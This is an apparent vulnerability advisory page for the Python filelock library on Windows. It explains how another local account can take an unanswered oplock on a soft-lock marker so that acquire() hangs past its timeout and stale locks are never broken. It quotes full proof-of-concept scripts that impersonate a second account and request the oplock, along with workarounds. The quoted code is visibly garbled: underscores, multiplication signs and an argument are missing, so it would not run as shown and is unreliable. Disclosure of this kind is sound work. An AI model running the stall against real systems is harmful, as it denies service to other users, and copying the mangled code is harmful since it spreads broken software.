GHSA-567q-5qvw-pf92: Low severity pip/filelock vulnerability

Published Oct 23, 2026
·
Updated

On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancelcheck, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).

AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with runinexecutor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions

- Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover. - Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete. - Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails. - Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time. - What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with ORDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancelcheck between attempts only. With AsyncSoftFileLock(runinexecutor=False) the event loop waits. - Stale break: breaklockfile renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes. - Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.

Affected code

Scanned commit b831496b0273: the os.open in readlockfile (function), called from trybreakstalelock on every attempt that finds a marker, and from unprobeableholder, pid and islockheldbyus. breaklockfile renames at L116 and unlinks at L118 and L122, by path. polluntilacquired and checkgiveup test the deadline, blocking and cancelcheck only between attempts.

Introduced

e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with OCREAT | OEXCL and never opened an existing one. #476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILECOMPLETEIFOPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in readlockfile with bfbfa76 (#548, 3.29.1) and the break moved into breaklockfile with d244c6d (#551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of acquire first calls os.open(path, OWRONLY | OCREAT | OEXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. acquire then calls trybreakstalelock, which calls readlockfile: os.lstat, then os.open(path, ORDONLY | ONOFOLLOW | ONONBLOCK). On Windows ONOFOLLOW and ONONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. checkgiveup tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancelcheck by its length. Once the open returns, the attempt ends and checkgiveup raises Timeout, because the deadline has passed.

A marker whose holder is gone takes the second path. breaklockfile renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplockvm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplocksemanticsvm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at 3e4c5ef, where readlockfile and breaklockfile are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).

oplockvm.py

python """ Windows oplock checks beyond the lock-file open PR #835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present): C:\\venvs\\rev4F\\Scripts\\python.exe oplockvm.py fltester '<password>' C:\\tmp\\rev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete. WindowsFileLock.release closes its handle and then unlinks by path; an oplock granted in between makes the DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is; [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it. [2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end. """

from future import annotations

import ctypes import os import subprocess import sys import threading import time from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3] icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe") os.makedirs(base, existok=True) subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, captureoutput=True)

advapi32 = ctypes.WinDLL("advapi32", uselasterror=True) kernel32 = ctypes.WinDLL("kernel32", uselasterror=True) advapi32.LogonUserW.argtypes = [ wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE), ] kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE kernel32.CreateFileW.argtypes = [ wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE, ]

class Overlapped(ctypes.Structure): fields = ( ("Internal", ctypes.cvoidp), ("InternalHigh", ctypes.cvoidp), ("Offset", wintypes.DWORD), ("OffsetHigh", wintypes.DWORD), ("hEvent", wintypes.HANDLE), )

kernel32.DeviceIoControl.argtypes = [ wintypes.HANDLE, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, ctypes.cvoidp, ctypes.POINTER(Overlapped), ] kernel32.CloseHandle.argtypes = [wintypes.HANDLE] kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERICREAD = 0x80000000 SHAREALL = 0x7 OPENEXISTING = 3 FLAGOVERLAPPED = 0x40000000 INVALIDHANDLE = wintypes.HANDLE(-1).value FSCTLREQUESTOPLOCKLEVEL1 = 0x00090000 ERRORIOPENDING = 997 hold = threading.Event() realunlink = os.unlink

def impersonate() -> None: token = wintypes.HANDLE() if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)): raise ctypes.WinError(ctypes.getlasterror()) if not advapi32.ImpersonateLoggedOnUser(token): raise ctypes.WinError(ctypes.getlasterror())

def requestlevel1(path: str) -> tuple[int, Overlapped] | None: handle = kernel32.CreateFileW(path, GENERICREAD, SHAREALL, None, OPENEXISTING, FLAGOVERLAPPED, None) if handle == INVALIDHANDLE: return None overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None)) if ( not kernel32.DeviceIoControl(handle, FSCTLREQUESTOPLOCKLEVEL1, None, 0, None, 0, None, ctypes.byref(overlapped)) and ctypes.getlasterror() == ERRORIOPENDING ): return handle, overlapped kernel32.CloseHandle(handle) kernel32.CloseHandle(overlapped.hEvent) return None

def drop(granted: tuple[int, Overlapped]) -> None: handle, overlapped = granted kernel32.CloseHandle(handle) kernel32.WaitForSingleObject(overlapped.hEvent, 5000) kernel32.CloseHandle(overlapped.hEvent)

def releaseunderoplockrequests(label: str, lockpath: str, cycles: int) -> bool: stop = threading.Event() grantedbox: list[tuple[int, Overlapped]] = []

def spinner() -> None: impersonate() while not stop.isset(): if (granted := requestlevel1(lockpath)) is not None: grantedbox.append(granted) hold.wait() return

releasing = threading.Event() releasedurations: list[float] = []

def owner() -> None: # threadlocal locks release only on the acquiring thread, so acquire and release stay on this one for in range(cycles): lock = FileLock(lockpath, issingleton=False) lock.acquire(timeout=5) started = time.monotonic() releasing.set() lock.release() releasing.clear() releasedurations.append(time.monotonic() - started) if grantedbox: return

holder = threading.Thread(target=spinner, daemon=True) holder.start() ownerthread = threading.Thread(target=owner, daemon=True) ownerthread.start() ownerthread.join(60) stalled = ownerthread.isalive() and releasing.isset() stop.set() longest = max(releasedurations, default=0.0) 1000 print(f" {label}: oplock granted: {bool(grantedbox)}; cycles run: {len(releasedurations)}; longest release: {longest:.1f} ms") if stalled: print(" release() still running after 60 s while the oplock holder has not answered the break") if grantedbox: drop(grantedbox[0]) ownerthread.join(10) print(f" release() returned after the holder closed its handle: {not ownerthread.isalive()}") return stalled

print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window") stallednative = releaseunderoplockrequests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")

def slowunlink(path: str, , dirfd: int | None = None) -> None: time.sleep(0.2) realunlink(path, dirfd=dirfd)

os.unlink = slowunlink stalledscheduled = releaseunderoplockrequests("scheduled", os.path.join(base, "native-scheduled.lock"), 20) os.unlink = realunlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker") marker = os.path.join(base, "soft.lock") holder = SoftFileLock(marker, issingleton=False) holder.acquire() holderfd = holder.context.lockfilefd # noqa: SLF001 os.close(holderfd) # the marker stays with a live PID, as after a holder that lost only its handle impersonatedone = threading.Event() grantedsoft: list[tuple[int, Overlapped]] = []

def takesoftoplock() -> None: impersonate() if (granted := requestlevel1(marker)) is not None: grantedsoft.append(granted) impersonatedone.set() hold.wait()

threading.Thread(target=takesoftoplock, daemon=True).start() impersonatedone.wait(5) print(f" oplock granted: {bool(grantedsoft)}") outcome = ["still running after 25 s"]

def contend() -> None: started = time.monotonic() try: SoftFileLock(marker, issingleton=False).acquire(timeout=1) outcome[0] = f"acquired after {time.monotonic() - started:.2f} s" except Timeout: outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s" except OSError as error: outcome[0] = f"{type(error).name} after {time.monotonic() - started:.2f} s: {error}"

contender = threading.Thread(target=contend, daemon=True) contender.start() contender.join(25) print(f" contender: {outcome[0]}") softstalled = "still running" in outcome[0] if grantedsoft: drop(grantedsoft[0]) contender.join(10) print(f" after the holder closed: {outcome[0]}") hold.set() print("STALLS" if stallednative or stalledscheduled or softstalled else "BOUNDED")

Recorded output of section [2]:

[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker oplock granted: True contender: Timeout after 10.02 s after the holder closed: Timeout after 10.02 s

oplocksemanticsvm.py

python """ Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplocksemanticsvm.py C:\\tmp\\rev4F-sem """

from future import annotations

import ctypes import os import sys import threading import time from ctypes import wintypes

base = sys.argv[1] os.makedirs(base, existok=True) kernel32 = ctypes.WinDLL("kernel32", uselasterror=True) kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE kernel32.CreateFileW.argtypes = [ wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE, ]

class Overlapped(ctypes.Structure): fields = ( ("Internal", ctypes.cvoidp), ("InternalHigh", ctypes.cvoidp), ("Offset", wintypes.DWORD), ("OffsetHigh", wintypes.DWORD), ("hEvent", wintypes.HANDLE), )

kernel32.DeviceIoControl.argtypes = [ wintypes.HANDLE, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, ctypes.cvoidp, wintypes.DWORD, ctypes.cvoidp, ctypes.POINTER(Overlapped), ] kernel32.CloseHandle.argtypes = [wintypes.HANDLE] kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD] GENERICREAD, GENERICWRITE = 0x80000000, 0x40000000 SHAREALL, OPENEXISTING, FLAGOVERLAPPED = 0x7, 3, 0x40000000 INVALIDHANDLE = wintypes.HANDLE(-1).value LEVELS = {"level1": 0x00090000, "batch": 0x00090008}

def take(path: str, level: str) -> tuple[int, Overlapped]: handle = kernel32.CreateFileW(path, GENERICREAD, SHAREALL, None, OPENEXISTING, FLAGOVERLAPPED, None) overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None)) pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped)) assert pending and ctypes.getlasterror() == 997, ctypes.getlasterror() return handle, overlapped

def drop(granted: tuple[int, Overlapped]) -> None: kernel32.CloseHandle(granted[0]) kernel32.WaitForSingleObject(granted[1].hEvent, 5000) kernel32.CloseHandle(granted[1].hEvent)

def timed(label: str, operation) -> None: # noqa: ANN001 done = threading.Event() result = ["still running after 15 s"]

def run() -> None: started = time.monotonic() try: operation() result[0] = f"returned after {(time.monotonic() - started) 1000:.1f} ms" except OSError as error: result[0] = f"{type(error).name} after {(time.monotonic() - started) 1000:.1f} ms: {error}" done.set()

threading.Thread(target=run, daemon=True).start() done.wait(15) print(f" {label}: {result[0]}") return done

def openread(path: str) -> None: os.close(os.open(path, os.ORDONLY | os.OBINARY))

def openwrite(path: str) -> None: os.close(os.open(path, os.ORDWR | os.OBINARY))

def createnew(path: str) -> None: os.close(os.open(path, os.OWRONLY | os.OCREAT | os.OEXCL | os.OBINARY))

for level in LEVELS: for label, operation, consumes in ( ("os.open ORDONLY", openread, False), ("os.open ORDWR", openwrite, False), ("os.open OCREAT|OEXCL on the existing file", createnew, False), ("os.utime by path", lambda p: os.utime(p, None), False), ("os.rename", lambda p: os.rename(p, p + ".moved"), True), ("os.unlink", os.unlink, True), ): path = os.path.join(base, f"{level}-{label.replace(' ', '').replace('|', '')}.lock") with open(path, "w", encoding="utf-8") as handle: handle.write("1\nhost\n") granted = take(path, level) print(f"{level}, {label}") done = timed(label, lambda p=path, op=operation: op(p)) drop(granted) done.wait(5) print(f" after the holder closed: {'done' if done.isset() else 'still running'}")

The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.ORDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed OCREAT | OEXCL create returned at once.

Failure sequence

mermaid sequenceDiagram participant A as other local account participant M as soft.lock marker, no handle open participant L as lock user: SoftFileLock(path).acquire(timeout=1) participant W as Windows (NTFS) A->>W: CreateFileW(soft.lock, GENERICREAD, share read/write/delete, FILEFLAGOVERLAPPED) A->>W: DeviceIoControl(FSCTLREQUESTOPLOCKLEVEL1), granted, break never acknowledged L->>W: os.open(soft.lock, OCREAT|OEXCL) fails with EEXIST at once L->>W: os.lstat(soft.lock) regular file rect rgb(255, 214, 214) L->>W: os.open(soft.lock, ORDONLY) inside readlockfile Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancelcheck are not consulted W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe) end L->>L: checkgiveup: past the deadline, raise Timeout after 10.02 s Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken

Evidence

Section [2] of oplockvm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, issingleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplocksemanticsvm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.

Impact

Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancelcheck until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(runinexecutor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.

Workarounds

- Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows. - Run AsyncSoftFileLock with the default executor rather than runinexecutor=False, so that only a worker thread waits. - No timeout, blocking or cancelcheck value bounds the wait.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).

- 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them) - 2026-10-16 01:16 UTC: fix PR #835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx - 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #835 - 2026-10-16 22:43 UTC: draft advisory created

Affected Software

1 affected componentFixes available
pip/filelock>=3.22.0<=4.2.0
4.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1
  2. Upgrade

    Upgrade filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1Patch #835
  3. Configuration

    Run AsyncSoftFileLock with the default executor rather than setting run_in_executor=False, so the wait occurs on a worker thread.

    AsyncSoftFileLock run_in_executor = true
  4. Compensating control

    Keep soft-lock markers in a directory whose ACL prevents other accounts from accessing new files; for example, use a directory inside the user profile or remove inheritance and grant only the owner, SYSTEM, and Administrators access with icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F".

Event History

Oct 23, 2026
Advisory Published
via GitHub·10:27 PM
Data Sourced
via GitHub·10:27 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Windows users of filelock versions 3.22.0 through 4.2.0 are affected when using SoftFileLock, MarkerSoftFileLock, SoftFileLease, their asynchronous forms, or FileLock instances that fall back to a soft lock. Exploitation requires another local account that can open the lock marker file for reading.

2

What does an attacker need to do to trigger the problem?

A local attacker opens the marker file while it is not held open and takes a Level 1 oplock, then does not respond to the oplock break. Subsequent acquire() calls by the lock user can block in os.open, including when a timeout, blocking=False, or cancel_check is configured.

3

Does this let an attacker bypass the lock or modify other files?

No. The described behavior preserves mutual exclusion and the lock does not touch other files; the impact is that lock acquisition can be stalled and stale marker files under the oplock are not removed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203